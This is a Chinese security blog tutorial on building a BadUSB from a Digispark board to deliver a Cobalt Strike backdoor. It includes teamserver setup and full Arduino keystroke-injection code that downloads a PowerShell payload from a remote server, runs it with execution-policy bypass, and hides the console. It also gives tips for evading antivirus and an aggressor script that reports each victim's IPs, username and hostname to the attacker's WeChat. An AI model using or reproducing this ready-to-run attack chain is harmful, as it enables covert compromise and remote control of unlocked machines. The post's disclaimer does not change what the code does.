STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
实验概述
参考资料:
https://blog.csdn.net/m0_49605975/article/details/109248406
硬件材料:淘宝购Digispark (Attiny85)开发板(橡皮鸭rubber ducky经典版)
虚拟环境:云服务器一台(搭建CS服务端,开放web服务供靶机下载木马),任意联网靶机(Win7、Win10),Arduino编程软件,CobaltStrike4.0(后文简称CS4)破解版,Digispark(Attiny89)开发板驱动
思路总结:网购Digispark开发板,使用arduino烧录攻击代码,插入靶机模拟键盘操作打开Win+R,自动输入命令,最小化cmd,调用powershell远程下载云服务器上的木马并执行,关闭cmd窗口化进程,使其后台执行。
CS4环境部署
部署CS4服务端
上传CS4到云服务器。
进入CS4目录,先给执行文件teamserver足够的权限:
chmod 777 ./teamserver
再设置参数来开启CS4服务。但由于需要服务一直在后台启动,所以使用screen命令。
screen下载(CentOS):
yum install screen -y
然后打开一个新的screen窗口,在里面运行CS4服务,命令如下:
screen -S cs4 //打开新窗口,并命名为cs4
cd CS4目录 //在新窗口跳转到CS4所在目录
./teamserver vps的ip地址 连接密码 //开CS4服务
Ctrl+a,松开,再按d。//切换回主界面。
这样CS4服务就部署完了,即使会话关闭,这个服务也会再后台一直存在,除非用kill命令杀掉它。如果要重新进入这个会话:
screen -R cs4
exit //这个会话会彻底注销。
由于我部署在腾讯云服务器上,所以需要在云防护上给端口放行,云防护默认是开放所有出端口,开放部分入端口的。我们需要先开放CS服务端口50050,供客户端连接:
PS:这里我用的是轻量应用服务器,云服务器的云防护配置方法自行查找,教程网上到处都是,并不难找。
部署CS4客户端
打开CS4文件夹,双击start.bat,在登陆框中输入登陆信息:
主机写VPS的IP地址,端口默认50050,用户名随便输,密码是之前部署CS4服务端时输的密码,要对应,不然登不上:
然后创建一个监听器:菜单栏Cobalt Strike-->监听器-->Add:
名字随便起;HTTP Hosts右边点"+"号,一般默认就是你云服务器的地址,直接确定就好;HTTP Port(C2)设置一个你云服务器不用的端口,建议10000以上,不容易跟已有端口冲突,一旦冲突服务就起不来了;其他一切选项保持默认。
然后再在云防护上给这个端口放行,步骤和之前一样,这里我设置是4445,你们可以改成自定的(建议10000以上,端口冲突这个坑我是踩过的),总之保持CS4客户端监听器端口与云防护放行那个端口一致就可以了:
接着生成一个powershell木马,一会儿要用:
菜单栏 攻击-->生成后门-->Payload Generator
弹框中监听器选择刚才设置那个;输出下拉选择Powershell,x64选不选取决于你目标的系统是不是64位系统。最后点Generate生成木马,选择一个存放地址就可以得到一个.ps1后缀的木马文件了。
做到这一步就可以使用该木马配合CS4进行攻击了,只需要在任意安装了powershell且无防护的机器上(win7、win10自带powershell)运行生成的木马,就可以看到CS4客户端目标机器的上线信息了,也即获得了目标机器的shell权限。
将木马上传到云服务器备用
在云服务器上安装httpd服务,并将木马上传到默认的网站根目录:/var/www/html/下,网页访问试试能不能下载到,之后会通过badusb的脚本来访问这个链接:
由于badusb脚本遇到中文输入法会出错,所以我在脚本里添加了切换大小写的代码,会将输入法切换成大写,并循环执行脚本,这样总有一次能绕过输入法让靶机中招。所以对于木马,最好也复制两份,一份名字是大写,一份是小写,比如:
PS:木马不使用P64.ps1后缀也是可以运行的,你通过网页访问木马很容易就能发现,木马最终下载下来是文本的格式,所以改成p64、P64等名字,也不会影响木马执行,反而由于取消了ps1后缀,更不易被杀软检测到。
PPS:httpd服务默认端口80在腾讯云上是默认放行的,但保险起见,各位还是登入云服务器检查一下。
badusb烧录
安装软件
烧录前需要准备两个软件:Arduino软件、Digispark (Attiny85)开发板驱动。
Arduino可以去官网免费下载:
https://www.arduino.cc/en/donate/
驱动下载:
https://github.com/digistump/DigistumpArduino/blob/master/tools/micronucleus-2.0a4-win.zip
将驱动解压,选择文件夹中的DPinst.exe或DPinst64.exe双击运行,这取决于你自己的机器是32位还是64位:
烧录脚本
打开arduino,就可以设计badusb插入后要执行的程序了,这块在学习中能了解到,是一块很庞大的知识,利用好了能产生无限可能。想想就相当于badusb插入靶机后,你就在靶机里获得了一个虚拟键盘和鼠标的权限,想开什么端口,反弹shell,或是关掉杀毒软件,防火墙等等,都可以通过编程实现。
但这次我的目的只是制作一个能配合CS4上线的badusb玩具,所以仅限于反弹shell方面的代码:
# include "DigiKeyboard.h"
# define KEY_ESC 41
# define KEY_BACKSPACE 42
# define KEY_TAB 43
# define KEY_PRT_SCR 70
# define KEY_DELETE 76
# define KEY_CAPS_LOCK 0x39
void setup() {
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+R
DigiKeyboard.sendKeyStroke(KEY_CAPS_LOCK); //大小写转换绕过中文输入法
DigiKeyboard.delay(500);
DigiKeyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1"); //最小化cmd窗口
DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
DigiKeyboard.delay(500);
DigiKeyboard.println("mkdir C:\\test"); //C盘创建一个test目录
DigiKeyboard.delay(1000);
DigiKeyboard.println("powershell");
DigiKeyboard.println("$clnt = new-object system.net.webclient;");
DigiKeyboard.println("$url= 'http://xxx.xxx.xxx.xxx/p64';");
DigiKeyboard.println("$file = 'c:\\test\\b.ps1';");
DigiKeyboard.println("$clnt.downloadfile($url,$file)"); //分段执行,绕过防火墙进程保护,从云端下载木马到本地C盘test目录,并命名为b.ps1
DigiKeyboard.println("powershell.exe -executionpolicy bypass -file c:\\test\\b.ps1"); //本地权限绕过执行木马
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+R
DigiKeyboard.delay(500);
DigiKeyboard.println("taskkill /t /im conhost.exe /f"); //关闭cmd的宿主程序,即图形界面
}
void loop() {
}
编译没问题后,点击右箭头烧录,然后在60s内将U盘插入,等待提示烧录成功即可:
以上步骤都完成之后,一个badusb配合CS4上线的攻击方式就完成了,只要将badusb插入任意未锁屏的机器,模拟按键的脚本就会在10s内运行,从云服务器下载木马并执行,将shell乖乖递给云端的CS4服务器。
CS4微信上线提示
考虑到带USB的智能服务机这类测试对象,有可能出现即使上线,也依旧无任何回显的情况,所以做一个依据CS4服务端上线信息的微信提示。
参考资料:
https://www.cnblogs.com/trevain/p/13693215.html
访问Server酱https://sct.ftqq.com/
直接用微信扫码关注公众号就可以登陆,然后Server酱就会给你生成一个SendKey,用这个东西配合以下脚本:
# 循环获取所有beacon
on beacon_initial {
sub http_get {
local('$output');
$url = [new java.net.URL: $1];
$stream = [$url openStream];
$handle = [SleepUtils getIOHandle: $stream, $null];
@content = readAll($handle);
foreach $line (@content) {
$output .= $line . "\r\n";
}
println($output);
}
# 获取ip、计算机名、登录账号
$externalIP = replace(beacon_info($1, "external"), " ", "_");
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
# get一下Server酱的链接
$url = 'https://sc.ftqq.com/此处填写你Server酱的SCKEY码.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0D%0A%0D%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;
http_get($url);
}
在以上代码填写好自己的SendKey之后,保存为weixinNotice.cna文件,上传到云服务器的CS4根目录,在CS4服务端开启的情况下(如果没开启自行开启后再下一步)使用下列命令,开启微信提醒脚本并在后台保持运行:
screen -S cs4-notice
./agscript xxx.xxx.xxx.xxx 50050 用户名 密码 weixinNotice.cna
Ctrl+a,松开,再按d //会话后台运行
然后在你shell上线后,就可以收到Server酱发给你的微信消息啦:
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们